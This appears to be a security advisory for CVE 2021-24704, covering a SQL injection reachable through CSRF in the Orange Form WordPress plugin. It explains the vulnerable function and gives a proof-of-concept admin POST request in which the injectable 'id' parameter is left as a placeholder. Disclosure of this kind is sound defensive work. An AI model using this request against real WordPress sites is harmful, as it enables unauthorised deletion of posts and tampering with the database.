Orange Form <= 1.0 – SQL Injection via CSRF | CVE 2021-24704

Description

In the plugin, the process_bulk_action() function in "admin/orange-form-email.php" performs an unprepared SQL query with an unsanitized parameter ($id). Only admin can access the page that invokes the function, but because of lack of CSRF protection, it is actually exploitable and could allow attackers to make a logged in admin delete arbitrary posts for example

Proof of Concept

POST /wp-admin/admin.php?page=or-form&msg=suc HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 52
Connection: close
Cookie: [admin+]
Upgrade-Insecure-Requests: 1

page=or-form&action=delete&id%5B%5D={INJECTABLE_PARAM}&action2=delete